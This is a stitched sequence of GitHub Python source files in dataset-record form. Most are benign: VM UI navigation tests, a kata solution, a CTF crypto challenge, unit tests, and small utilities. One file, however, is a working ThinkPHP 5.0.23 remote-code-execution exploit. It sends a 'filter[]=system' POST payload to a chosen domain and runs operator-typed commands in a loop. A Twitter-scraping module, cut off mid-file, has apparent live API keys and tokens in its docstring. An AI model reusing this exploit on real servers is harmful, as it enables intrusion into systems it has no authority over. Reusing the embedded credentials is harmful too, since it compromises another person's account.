VIEW = InfraVmOsView\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.entities.summary('Properties').click_at('Operating System')\n\n\n@navigator.register(InfraTemplate, 'Details')\n@navigator.register(InfraVm, 'Details')\nclass VmAllWithTemplatesDetails(CFMENavigateStep):\n    VIEW = InfraVmDetailsView\n    prerequisite = NavigateToSibling('AllForProvider')\n\n    def step(self, *args, **kwargs):\n        try:\n            entity_item = self.prerequisite_view.entities.get_entity(\n                name=self.obj.name, surf_pages=True)\n        except ItemNotFound:\n            raise ItemNotFound(f'Failed to locate VM/Template with name \"{self.obj.name}\"')\n        entity_item.click()\n\n    def resetter(self, *args, **kwargs):\n        # https://bugzilla.redhat.com/show_bug.cgi?id=1821974#c5\n        # History & Refresh buttons have been removed from explorer screens on upstream only.\n        if self.obj.appliance.is_downstream:\n            self.view.toolbar.reload.click()\n        else:\n            pass\n\n\n@navigator.register(InfraTemplate, 'ArchiveDetails')\n@navigator.register(InfraVm, 'ArchiveDetails')\nclass ArchiveDetails(CFMENavigateStep):\n    VIEW = InfraVmDetailsView\n    prerequisite = NavigateToSibling('All')\n\n    def step(self, *args, **kwargs):\n        try:\n            entity_item = self.prerequisite_view.entities.get_entity(\n                name=self.obj.name, surf_pages=True)\n        except ItemNotFound:\n            raise ItemNotFound(f'Failed to locate VM/Template with name \"{self.obj.name}\"')\n        entity_item.click()\n\n    def resetter(self, *args, **kwargs):\n        self.view.toolbar.reload.click()\n\n\n@navigator.register(InfraTemplate, 'AnyProviderDetails')\n@navigator.register(InfraVm, 'AnyProviderDetails')\nclass VmAllWithTemplatesDetailsAnyProvider(VmAllWithTemplatesDetails):\n    \"\"\"\n    Page with details for VM or template.\n    This is required in case you want to get details about archived/orphaned VM/template.\n    In such case, you cannot get to the detail page by navigating from list of VMs for a provider\n    since archived/orphaned VMs has lost its relationship with the original provider.\n    \"\"\"\n    prerequisite = NavigateToSibling('All')\n\n\n@navigator.register(InfraVmCollection, 'VMsOnly')\nclass VmAll(CFMENavigateStep):\n    VIEW = VmsOnlyAllView\n    prerequisite = NavigateToSibling('All')\n\n    def step(self, *args, **kwargs):\n        if 'filter_folder' not in kwargs:\n            self.view.sidebar.vms.tree.click_path('All VMs')\n        elif 'filter_folder' in kwargs and 'filter_name' in kwargs:\n            self.view.sidebar.vms.tree.click_path('All VMs', kwargs['filter_folder'],\n            kwargs['filter_name'])\n        else:\n            raise DestinationNotFound(\"the destination isn't found\")\n\n    def resetter(self, *args, **kwargs):\n        self.view.reset_page()\n\n\n@navigator.register(InfraVm, 'VMsOnlyDetails')\nclass VmDetails(CFMENavigateStep):\n    VIEW = InfraVmDetailsView\n    prerequisite = NavigateToAttribute('parent', 'VMsOnly')\n\n    def step(self, *args, **kwargs):\n        try:\n            row = self.prerequisite_view.entities.get_entity(name=self.obj.name,\n                                                             surf_pages=True)\n        except ItemNotFound:\n            raise ItemNotFound(f'Failed to locate VM/Template with name \"{self.obj.name}\"')\n        row.click()\n\n    def resetter(self, *args, **kwargs):\n        self.view.toolbar.reload.click()\n\n\n@navigator.register(InfraVm, 'VmContainer')\nclass VmContainer(CFMENavigateStep):\n    VIEW = InfraVmContainerView\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self):\n        self.prerequisite_view.entities.summary('Properties').click_at('Container')\n\n\n@navigator.register(InfraVm, 'SnapshotsAll')\nclass VmSnapshotsAll(CFMENavigateStep):\n    VIEW = InfraVmSnapshotView\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.entities.summary('Properties').click_at('Snapshots')\n\n\n@navigator.register(InfraVm, 'SnapshotsAdd')\nclass VmSnapshotsAdd(CFMENavigateStep):\n    VIEW = InfraVmSnapshotAddView\n    prerequisite = NavigateToSibling('SnapshotsAll')\n\n    def step(self, *args, **kwargs):\n        if self.prerequisite_view.tree.is_displayed:\n            self.prerequisite_view.tree.click_path(self.obj.name)\n        self.prerequisite_view.toolbar.create.click()\n\n\n@navigator.register(InfraTemplate, 'GenealogyAll')\n@navigator.register(InfraVm, 'GenealogyAll')\nclass VmGenealogyAll(CFMENavigateStep):\n    VIEW = InfraVmGenealogyView\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.entities.summary('Relationships').click_at('Genealogy')\n\n\n@navigator.register(InfraVm, 'Migrate')\nclass VmMigrate(CFMENavigateStep):\n    VIEW = MigrateVmView\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.toolbar.lifecycle.item_select(\"Migrate this VM\")\n\n\n@navigator.register(InfraVm, 'Publish')\nclass VmPublish(CFMENavigateStep):\n    VIEW = PublishVmView\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.toolbar.lifecycle.item_select(\"Publish this VM to a Template\")\n\n\n@navigator.register(InfraVm, 'Clone')\nclass VmClone(CFMENavigateStep):\n    VIEW = CloneVmView\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.toolbar.lifecycle.item_select(\"Clone this VM\")\n\n\n@navigator.register(InfraVm, 'SetRetirement')\nclass SetRetirement(CFMENavigateStep):\n    VIEW = RetirementViewWithOffset\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.toolbar.lifecycle.item_select('Set Retirement Date')\n\n\n@navigator.register(InfraTemplateCollection, 'TemplatesOnly')\nclass TemplatesAll(CFMENavigateStep):\n    VIEW = TemplatesOnlyAllView\n    prerequisite = NavigateToSibling('All')\n\n    def step(self, *args, **kwargs):\n        if 'filter_folder' not in kwargs:\n            self.view.sidebar.templates.tree.click_path('All Templates')\n        elif 'filter_folder' in kwargs and 'filter_name' in kwargs:\n            self.view.sidebar.templates.tree.click_path('All Templates',\n                                                        kwargs['filter_folder'],\n                                                        kwargs['filter_name'])\n        else:\n            raise DestinationNotFound(\"the destination isn't found\")\n\n\n@navigator.register(InfraVmCollection, 'Provision')\nclass ProvisionVM(CFMENavigateStep):\n    VIEW = ProvisionView\n    prerequisite = NavigateToSibling('All')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.toolbar.lifecycle.item_select('Provision VMs')\n\n\n@navigator.register(InfraVm, 'Timelines')\nclass Timelines(CFMENavigateStep):\n    VIEW = InfraVmTimelinesView\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.toolbar.monitoring.item_select('Timelines')\n\n\n@navigator.register(InfraVm, 'Reconfigure')\nclass VmReconfigure(CFMENavigateStep):\n    VIEW = InfraVmReconfigureView\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.toolbar.configuration.item_select('Reconfigure this VM')\n\n\n@navigator.register(InfraVm, 'Edit')\nclass VmEdit(CFMENavigateStep):\n    VIEW = EditView\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.toolbar.configuration.item_select('Edit this VM')\n\n\n@navigator.register(InfraVm, 'EditManagementEngineRelationship')\nclass VmEngineRelationship(CFMENavigateStep):\n    VIEW = ManagementEngineView\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.toolbar.configuration.item_select(\n            'Edit Management Engine Relationship')\n\n\n@navigator.register(InfraTemplate, 'SetOwnership')\n@navigator.register(InfraVm, 'SetOwnership')\nclass SetOwnership(CFMENavigateStep):\n    VIEW = SetOwnershipView\n    prerequisite = NavigateToSibling('Details')\n\n    # No am_i_here because the page only indicates name and not provider\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.toolbar.configuration.item_select('Set Ownership')\n\n\n@navigator.register(InfraTemplate, 'CloneTemplate')\nclass TemplateClone(CFMENavigateStep):\n    VIEW = CloneVmView\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.toolbar.lifecycle.item_select(\"Clone this Template\")\n\n\n@navigator.register(InfraVm, 'Rename')\nclass Rename(CFMENavigateStep):\n    VIEW = RenameVmView\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.toolbar.configuration.item_select('Rename this VM')\n\n\n@navigator.register(InfraVm, 'candu')\nclass VmUtilization(CFMENavigateStep):\n    @property\n    def VIEW(self):     # noqa\n        return self.obj.provider.vm_utilization_view\n\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.toolbar.monitoring.item_select('Utilization')\n\n\n@navigator.register(InfraVm, 'PolicySimulation')\nclass PolicySimulation(CFMENavigateStep):\n    VIEW = PolicySimulationView\n    prerequisite = NavigateToSibling('Details')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.toolbar.policy.item_select('Policy Simulation')\n\n\n@navigator.register(InfraVmCollection, \"PolicySimulation\")  # noqa\nclass PolicySimulationOnCollection(CFMENavigateStep):\n    VIEW = PolicySimulationView\n\n    def prerequisite(self):\n        provider = self.obj.filters.get(\"provider\")  # None if no filter\n        if provider:\n            return navigate_to(provider, \"ProviderVms\")\n        else:\n            return navigate_to(self.obj, \"All\")\n\n    def step(self, *args, **kwargs):\n        # click the checkbox of every object in the filtered collection\n        for entity in self.obj.all():\n            self.prerequisite_view.entities.get_entity(name=entity.name,\n                                                       surf_pages=True).ensure_checked()\n        self.prerequisite_view.toolbar.policy.item_select(\"Policy Simulation\")\n","repo_name":"ManageIQ/integration_tests","sub_path":"cfme/infrastructure/virtual_machines.py","file_name":"virtual_machines.py","file_ext":"py","file_size_in_byte":71675,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"77"}
+{"seq_id":"34155932650","text":"def vector_affinity(a, b):\n    if a == b:\n        res = 1.0\n    else:\n        min_ = min(len(a),len(b))\n        max_ = max(len(a),len(b))\n        cnt = 0\n        for i in range(min_):\n            if a[i] == b[i]:\n                cnt += 1\n        res = cnt/max_ if max_ != 0 else 0.0\n    return res\n","repo_name":"hwahyeon/solved-algorithms","sub_path":"Python/Codewars | Vector Affinity.py","file_name":"Codewars | Vector Affinity.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38094563402","text":"from gmpy2 import is_prime, mpz\nfrom random import SystemRandom\n\nrand = SystemRandom()\nPRIMES = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53]\n\n\ndef get_prime(bit_length):\n    while True:\n        x = mpz(1)\n        while x.bit_length() < bit_length:\n            x *= rand.choice(PRIMES)\n        if is_prime(x + 1):\n            return x + 1\n\n\ndef get_correct_answer():\n    # Implementation redacted\n    return -1\n\n\np = get_prime(1024)\nq = get_prime(1024)\nn = p * q\n\nprint(f\"n = {n}\")\nprint(\"Please calculate (59 ** 59 ** 59 ** 59 ** 1333337) % n\")\nans = int(input(\">>> \"))\n\nif ans == get_correct_answer():\n    print(\"WTF do you own a supercomputer? Here's your flag:\")\n    print(\"buckeye{????????????????????????????????????}\")\nelse:\n    print(\"WRONG\")\n","repo_name":"sajjadium/ctf-archives","sub_path":"ctfs/Buckeye/2021/crypto/Super_VDF/chall.py","file_name":"chall.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":490,"dataset":"github-code","pt":"77"}
+{"seq_id":"42502728386","text":"from nose.tools import *\nfrom mock import MagicMock\nfrom logfind.Finder import Finder\nfrom logfind.Logical import Logical\n\nclass finder_tests:\n\n    def __init__(self):\n        self.parser = MagicMock()\n        self.fileSystem = MagicMock()\n        self.matcher = MagicMock()\n        self.sut = Finder(self.parser, self.fileSystem, self.matcher)\n\n    def test_parses_the_words(self):\n        self.sut.find(\"Lorem ipsum\")\n\n        self.parser.parse_words.assert_called_once_with(\"Lorem ipsum\")\n\n    def test_parses_the_options(self):\n        self.sut.find(\"Lorem ipsum\", \"-o\")\n\n        self.parser.parse_options.assert_called_once_with(\"-o\")\n\n    def test_loads_the_logfind_file(self):\n        self.sut.find(\"Lorem ipsum\")\n\n        self.fileSystem.load.assert_called_once_with(\".logfind\")\n\n    def test_asks_for_names_of_files_matching_the_logfind_specifications(self):\n        self.fileSystem.load.return_value = \"*.log\"\n\n        self.sut.find(\"Lorem ipsum\")\n\n        self.fileSystem.get_files.assert_called_with(\"*.log\")\n\n    def test_loads_all_files_returned_by_get_files(self):\n        self.fileSystem.load.return_value = \"*.log\"\n        self.fileSystem.get_files.return_value = [\"a.log\", \"b.log\"]\n\n        self.sut.find(\"Lorem ipsum\")\n\n        self.fileSystem.load.assert_any_call(\"a.log\")\n        self.fileSystem.load.assert_any_call(\"b.log\")\n\n    def test_matches_each_file_against_the_words_and_options(self):\n        self.parser.parse_words.return_value = [\"Lorem\", \"ipsum\"]\n        self.parser.parse_options.return_value = Logical.And\n        self.fileSystem.load.side_effect = [\"*.log\", \"aaa\", \"bbb\"]\n        self.fileSystem.get_files.return_value = [\"a.log\", \"b.log\"]\n\n        self.sut.find(\"Lorem ipsum\")\n\n        self.matcher.match.assert_any_call(\"aaa\", [\"Lorem\", \"ipsum\"], Logical.And)\n        self.matcher.match.assert_any_call(\"bbb\", [\"Lorem\", \"ipsum\"], Logical.And)\n\n    def test_returns_each_matched_file(self):\n        self.parser.parse_words.return_value = [\"Lorem\", \"ipsum\"]\n        self.parser.parse_options.return_value = Logical.And\n        self.fileSystem.load.side_effect = [\"*.log\", \"aaa\", \"bbb\"]\n        self.fileSystem.get_files.return_value = [\"a.log\", \"b.log\"]\n        self.matcher.match.side_effect = [False, True]\n\n        result = self.sut.find(\"Lorem ipsum\")\n\n        assert_equal(1, len(result))\n        assert_equal(\"b.log\", result[0])\n","repo_name":"mdpopescu/public","sub_path":"logfind/tests/finder_tests.py","file_name":"finder_tests.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"3245731831","text":"# noinspection PyPep8Naming\nimport os\nimport pathlib\nimport re\nimport site\nfrom utils import file_search\n\nDIR_REPO = pathlib.Path(__file__).parents[1]\nsite.addsitedir(DIR_REPO / 'scripts')\n\n\ndef ensure_lowercase_file_extensions():\n    DIR_DOCS = pathlib.Path(DIR_REPO) / 'source'\n    rxUpercase = re.compile(r'\\.(?P<ext>(PNG|JPEG))$')\n    for path in file_search(DIR_DOCS, rxUpercase, recursive=True):\n        p, ext = os.path.splitext(path)\n        new_path = p + ext.lower()\n        print(f'rename: {path}')\n        os.rename(path, new_path)\n        s = \"\"\n\n\nif __name__ == \"__main__\":\n    ensure_lowercase_file_extensions()\n","repo_name":"EnMAP-Box/enmap-box-documentation","sub_path":"scripts/check_file_endings.py","file_name":"check_file_endings.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"2782567629","text":"#!/usr/bin/env python3\nfile='/tmp/device.csv'\nfile_lock='/tmp/device.csv.lock'\nimport os\nfrom random import randrange\n#os.remove(file)\nfrom time import sleep\ntry:\n    os.remove(file_lock)\nexcept:\n    #print('File not found',file_lock)\n    pass\nf=open(file,'w')\nf.close()\ndef fun_print(device):\n    for i in device.snmp_r:device.snmp_r=str(i)\n    for i in device.snmp_v:device.snmp_v=str(i)\n    \"\"\"\n    print('IP:',device.ip,\n          '\\n\\tVENDOR:',device.vendor,\n          '\\n\\tMODEL:',device.model,\n          '\\n\\tNAME:',device.name,\n          '\\n\\tOID_ENT:',device.oid_ent_tree,\n          '\\n\\tFIRMWARE:',device.firmware,\n          '\\n\\tSNMP_RO:',device.snmp_r,\n          '\\n\\tSNMP_VERS:',device.snmp_v,)\n    \"\"\"\n    string=device.ip+';'+device.vendor+';'+device.model+';'+device.name+';'+device.oid_ent_tree+';'+device.firmware+';'+device.snmp_r+';'+device.snmp_v\n    r=randrange(1,10)\n    r=r*0.1\n    while os.path.exists(file_lock):\n        print('sleep:',r,device.ip)\n        sleep(r)\n    open(file_lock, 'a').close()\n    f=open(file,'a')\n    f.write(string)\n    f.write('\\n')\n    f.close()\n    os.remove(file_lock)","repo_name":"Dmitriy-Zaytsev/code","sub_path":"code/python/inventory_network/myprint.py","file_name":"myprint.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14500191422","text":"import requests\r\nimport re\r\nprint('请输入目标域名:')\r\ndomain = input('')\r\nurl = f'http://{domain}:8080/index.php?s=captcha'\r\nwhile 1 :\r\n    print('<System command>:')\r\n    domain_sys = input('')\r\n    domain_post = {\r\n        \"_method\":\"__construct\",\r\n        \"filter[]\":\"system\",\r\n        \"method\":\"get\",\r\n        f\"server[REQUEST_METHOD]\":{domain_sys}\r\n    }\r\n    rere = requests.post(url,data=domain_post)\r\n    rere.encoding = ('utf-8')\r\n    rebody = rere.text\r\n    obj = re.compile(r'(?P<SYSecho>.*?)<!DOCTYPE html>',re.S)\r\n    chuli = obj.finditer(rebody)\r\n    for it in chuli :\r\n        print(it.group('SYSecho'))","repo_name":"ChinaRan0/ThinkPHP5.0.23RCE","sub_path":"ThinkPHP5 5.0.23RCE.py","file_name":"ThinkPHP5 5.0.23RCE.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7097523995","text":"from Products.CMFCore.utils import getToolByName\nfrom Products.Five.browser import BrowserView\nfrom ftw.builder import Builder\nfrom ftw.builder import create\nfrom ftw.mail.testing import FTW_MAIL_FUNCTIONAL_TESTING\nfrom plone.app.testing import TEST_USER_ID\nfrom plone.app.testing import setRoles\nfrom plone.uuid.interfaces import IUUID\nfrom unittest2 import TestCase\nfrom zope.component import queryMultiAdapter\nfrom zope.viewlet.interfaces import IViewletManager\n\n\nclass TestMailInViewlet(TestCase):\n\n    layer = FTW_MAIL_FUNCTIONAL_TESTING\n\n    def setUp(self):\n        self.portal = self.layer.get('portal')\n        setRoles(self.portal, TEST_USER_ID, ['Manager', 'Member'])\n\n        self.folder = create(Builder('folder'))\n\n    def get_viewlet(self, context):\n        view = BrowserView(context, context.REQUEST)\n        manager_name = 'plone.belowcontenttitle'\n        manager = queryMultiAdapter(\n            (context, context.REQUEST, view),\n            IViewletManager,\n            manager_name)\n\n        self.failUnless(manager)\n\n        # Set up viewlets\n        manager.update()\n        name = 'ftw.mail.mail-in'\n        viewlets = [v for v in manager.viewlets if v.__name__ == name]\n\n        if len(viewlets):\n            return viewlets[0]\n        else:\n            return None\n\n    def test_viewlet_registered(self):\n        self.assertNotEquals(None, self.get_viewlet(self.folder),\n            'The ftw.mail.mail-in viewlet is not registered properly')\n\n    def test_viewlet_is_present_if_mail_is_addable(self):\n        portal_types = getToolByName(self.portal, 'portal_types')\n        portal_types.get('Folder').allowed_content_types = ['ftw.mail.mail']\n\n        viewlet = self.get_viewlet(self.folder)\n\n        self.assertTrue(viewlet.available(),\n            'Expect the ftw.mail-mail-in viewlet on %s' % (\n                self.folder.absolute_url()))\n\n    def test_viewlet_is_not_present_if_mail_is_not_addable(self):\n        portal_types = getToolByName(self.portal, 'portal_types')\n        portal_types.get('Folder').allowed_content_types = []\n\n        viewlet = self.get_viewlet(self.folder)\n\n        self.assertFalse(viewlet.available(),\n            'Did not expect the ftw.mail-mail-in viewlet on %s' % (\n                self.folder.absolute_url()))\n\n    def test_mailin_email(self):\n        viewlet = self.get_viewlet(self.folder)\n        expect = \"%s@example.org\" % IUUID(self.folder)\n\n        self.assertEquals(expect, viewlet.email())\n","repo_name":"4teamwork/ftw.mail","sub_path":"ftw/mail/tests/test_mailin.py","file_name":"test_mailin.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"22355373514","text":"from sqlite_example.connect import connection\n\ncursor = connection.cursor()\n\nwith open(\"table.sql\", \"r\") as script:\n    cursor.execute(script.read())\n\nsql = f\"INSERT INTO contacts4 (name, email, phone, address) VALUES (?, ?, ?, ?)\"\ndata = (\"One\", \"Two\", \"Three\", \"Four\")\n\n# https://docs.python.org/3.7/library/sqlite3.html\nwith connection:\n    cursor.execute(sql, data)\n\nconnection.close()\n","repo_name":"konflic/python_databases","sub_path":"sqlite_example/5_with_database.py","file_name":"5_with_database.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9536746058","text":"# -*- coding: utf-8 -*-\r\n\r\n'''\r\nModule avec l'ensemble des fonctions utilisées :\r\n-scrap_twitter\r\n-construction_network\r\n-construction_liens\r\n...\r\n...\r\n'''\r\n\r\n\r\n#IMPORTS\r\nimport pdb\r\nimport tweepy\r\nimport pickle\r\nimport sys\r\nimport networkx as nx\r\nimport time\r\nimport matplotlib.pyplot as plt\r\nimport math\r\nimport os\r\nimport csv\r\nimport folium\r\n\r\n\r\n'''Fonction scrap_twitter : permet de récupérer la base de données globales des informations\r\ndu compte twitter voulu, en fonction des identifiants pour l'API twitter\r\npermet de construire les liens de la BDD globale.\r\n\r\n-consumer_key, consumer_secret, access_token, access_token_secret, compte_twitter = str\r\n\r\nexemple :\r\nDatas = scrap_twitter(\"V4oZsoDlApl4jM5ykvZ4HCv4Q\",\"0Pa1P4WU00j944BYK41K1p8pWjFbEnzeYHZoWIAunQl6FMDjq3\",\r\n        \"1311020670-BRnEdRVcpxZy2ObVz4nfAl4w6CIncXlFE0WnRhm\",\"ungu6tVmt4jbxFC2TLSXPsL7zWmQDo41KtWNUOJwnZmW1\",\"@MonZippo\")\r\n        \r\nConseils : laisser la base de donnée qui n'a pas été finie de scrappée avec le même nom et dans le même dossier (pour pouvoir recommencer la collecte)\r\n\r\nLIMITE : scrapping des informations des followers du compte étudié !\r\n'''\r\n\r\ndef scrap_twitter(consumer_key, consumer_secret, access_token, access_token_secret, compte_twitter):\r\n\r\n        #Authentification API\r\n        auth = tweepy.auth.OAuthHandler(consumer_key, consumer_secret) \r\n        auth.secure = True\r\n        auth.set_access_token(access_token, access_token_secret)\r\n        api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)\r\n\r\n        \r\n        \r\n        try:\r\n                with open(compte_twitter+'/Datas_globales_'+compte_twitter,'rb') as fichier:\r\n                        Base=pickle.load(fichier)\r\n\r\n                print('on recommence la collecte')\r\n                \r\n                List_Followers_Compte=Base[compte_twitter]['Datas']['List_Followers']\r\n\r\n        except:\r\n                print('on commence la collecte pour la première fois')\r\n                # Trouver le nombre de followers de compte_twitter\r\n                user_information=api.get_user(screen_name=compte_twitter)\r\n                nbre_followers_compte=user_information.followers_count\r\n\r\n                # Trouver les identifiants des followers de compte_twitter\r\n                List_Followers_Compte=[]\r\n                for iden in tweepy.Cursor(api.followers_ids,screen_name=compte_twitter).items(nbre_followers_compte):\r\n                        List_Followers_Compte.append(iden)\r\n\r\n\r\n                Base={}\r\n                Base[compte_twitter]={}\r\n                Base[compte_twitter]['Datas']={}\r\n                Base[compte_twitter]['Datas']['List_Followers']=List_Followers_Compte\r\n        i=0\r\n        for iden in List_Followers_Compte:\r\n                if iden in Base[compte_twitter]['Datas'].keys():\r\n                        i=i+1\r\n\r\n                else:\r\n                        try:    \r\n                                A={}\r\n\r\n                                user_information=api.get_user(id=iden)\r\n                                A['name']=user_information.name\r\n                                A['screen_name']=user_information.screen_name\r\n                                A['created_at']=user_information.created_at\r\n\r\n                                A['nb_followers']=user_information.followers_count\r\n                                A['nb_friends']=user_information.friends_count\r\n                                A['nb_tweets']=user_information.statuses_count\r\n\r\n\r\n                                sn=A['screen_name']\r\n                                fol=A['nb_followers']\r\n                                fr=A['nb_friends']\r\n                                tw=A['nb_tweets']\r\n\r\n                                List_Followers=[]\r\n                                for iden_fol in tweepy.Cursor(api.followers_ids,screen_name=sn).items(fol):\r\n                                        List_Followers.append(iden_fol)\r\n                        \r\n                                A['List_Followers']=List_Followers\r\n                        \r\n\r\n                                List_Friends=[]\r\n                                for iden_fr in tweepy.Cursor(api.friends_ids,screen_name=sn).items(fr):\r\n                                        List_Friends.append(iden_fr)\r\n\r\n                                A['List_Friends']=List_Friends\r\n                                \r\n\r\n                                \r\n                                Base[compte_twitter]['Datas'][iden]=A\r\n                                Base[compte_twitter]['Datas'][iden]['Problem']='non'\r\n\r\n\r\n                        except Exception as exc:\r\n                                print(iden,repr(exc))\r\n                                Base[compte_twitter]['Datas'][iden]={}\r\n                                Base[compte_twitter]['Datas'][iden]['Problem']='oui'\r\n                                \r\n\r\n\r\n                        i=i+1\r\n                        \r\n                        directory=compte_twitter\r\n                        if not os.path.exists(directory):\r\n                                os.makedirs(directory)\r\n                                \r\n                        with open(compte_twitter+'/Datas_globales_'+compte_twitter,'wb') as fichier:\r\n                                pickle.dump(Base,fichier)\r\n                \r\n                        print(i, \" comptes twitter récupérés, sur \",len(List_Followers_Compte))\r\n                        print(api.rate_limit_status()['resources']['followers']['/followers/ids'])\r\n                        print(api.rate_limit_status()['resources']['friends']['/friends/ids'])\r\n\r\n\r\n        \r\n        with open(compte_twitter+'/Datas_globales_'+compte_twitter,'rb') as fichier:\r\n            \r\n            Base=pickle.load(fichier)\r\n\r\n        construction_liens(compte_twitter+'/Datas_globales_'+compte_twitter)\r\n        \r\n\r\n        \r\n          \r\n\r\n\r\n\r\n'''\r\nFonction construction_liens : permet de construire le dictionnaire de liens, entre les individus d'une\r\nbase de donnée filtrée. \r\n-path : chemin d'accès de la base de donnée filtrée (car liens d'une BDD classique déjà créés)\r\n\r\n->Il faut les ajouter à la base de donnée filtrée... Ou le créer dès le filtrage !! (comme pour BDD classique)\r\n\r\nexemple :\r\nconstruction_liens('/BDD/MonZippo')\r\n'''\r\n\r\ndef construction_liens(path):\r\n    #Ca marche\r\n    #path = '@MonZippo/Datas_globales_@MonZippo'\r\n    with open (path,'rb') as fichier:\r\n        Base=pickle.load(fichier)\r\n    for k in Base.keys():\r\n        \r\n        Base[k]['Liens']={}\r\n        for iden1 in Base[k]['Datas'].keys():\r\n            if iden1 != \"List_Followers\":\r\n                Base[k]['Liens'][iden1]={}\r\n                for iden2 in Base[k]['Datas'].keys():\r\n                    if iden2 != \"List_Followers\":\r\n                        if iden2 != iden1:\r\n                            try:\r\n                                if iden2 in Base[k]['Datas'][iden1]['List_Followers']:\r\n                                \r\n                            \r\n                                \r\n                                    Base[k]['Liens'][iden1][iden2]=1\r\n                                else :\r\n                                    Base[k]['Liens'][iden1][iden2]=0\r\n                            except:\r\n                                continue\r\n                        else :\r\n                            pass\r\n    \r\n    with open(path, 'wb') as fichier:\r\n        pickle.dump(Base, fichier)                      \r\n                \r\n        \r\n\r\n        \r\n    \r\n\r\n        \r\n\r\n\r\n\r\n'''\r\nFonction construction_network : représente le network en image d'un base de donnée. \r\nParamètres :\r\n#Paths + format sortie\r\npath_entree='Datas_Test_filtrees7'\r\npath_sortie='ReseauTest'\r\nformat_sortie = \"png\"\r\n\r\n#Général\r\nkv=0.7 -> Ecart entre les noeuds\r\nnb_reptition = 2 -> Plusieurs représentations (permet de choisir le reseau le plus lisible)\r\ntitre=\"Reseau essai2\" -> Titre affiché au dessus du graphe.\r\nzoom=(40 ,40) #=figsize -> \"Zoom\" sur le reseau\r\naxes = 0 -> 1 pour faire apparaitre les axes\r\n\r\n#liens\r\ntaille_liens =5 -> largeur des liens\r\n#noeuds\r\ncouleur_noeuds='yellow'\r\ntaille_noeuds = 4000\r\n#labels\r\nbin_labels = 1\r\ncouleur_labels='black'\r\ntaille_labels=4\r\ntype_labels = 'name' #name, screen_name, iden.\r\n\r\nExemple :\r\nconstruction_network('Datas_Test_filtrees7','ReseauTest',\"png\",0.7,2, \"Reseau essai2\", (40 ,40), 0, 5, 'yellow', 4000, 1, black, 4, 'screen_name')\r\n'''\r\n\r\ndef construction_network(path_entree, path_sortie, format_sortie, kv, nb_repetition, titre, zoom, axes, color_bg, couleur_liens, taille_liens,\r\n couleur_noeuds, taille_noeuds, bin_labels, couleur_labels, taille_labels, type_labels):\r\n     \r\n     #Ouverture BDD\r\n     with open (path_entree,'rb') as fichier:\r\n         \r\n         Base=pickle.load(fichier)\r\n     i=0\r\n     while i<nb_repetition :\r\n         for compte_twitter in Base.keys():\r\n             #Creation du graphe\r\n             g=nx.Graph()\r\n             #Creation des noeuds\r\n             for elem in Base[compte_twitter]['Datas'].keys():\r\n                 if elem !=\"List_Followers\":\r\n                     g.add_node(elem)\r\n             print(\"Nombre de noeuds :\", len(g.nodes()))\r\n                 \r\n                 \r\n                 \r\n             #Ajout liens\r\n             for iden1 in Base[compte_twitter]['Liens'].keys():\r\n                 \r\n                             \r\n                            \r\n                 for iden2 in Base[compte_twitter]['Liens'][iden1].keys():\r\n                             \r\n                     if Base[compte_twitter]['Liens'][iden1][iden2]==1 and g.has_edge(iden1,iden2)==False and iden1!=iden2:\r\n                                 \r\n                                    \r\n                         g.add_edge(iden1, iden2)\r\n                     else:\r\n                                     \r\n                         pass\r\n                \r\n             print('Nombre de liens :', len(g.edges()))\r\n\r\n\r\n\r\n\r\n             #REPRESENTATION GRAPHIQUE\r\n\r\n             # len(g.node.keys()) = nombre de noeuds = N = 97\r\n             # on prend une valeur = 4*valeur par défaut\r\n             N=len(g.node.keys())\r\n\r\n\r\n             #Position\r\n             #kv=(1/math.sqrt(N))*4 #sqrt = square root = racine carré --> kv = optimal distance entre les nodes. 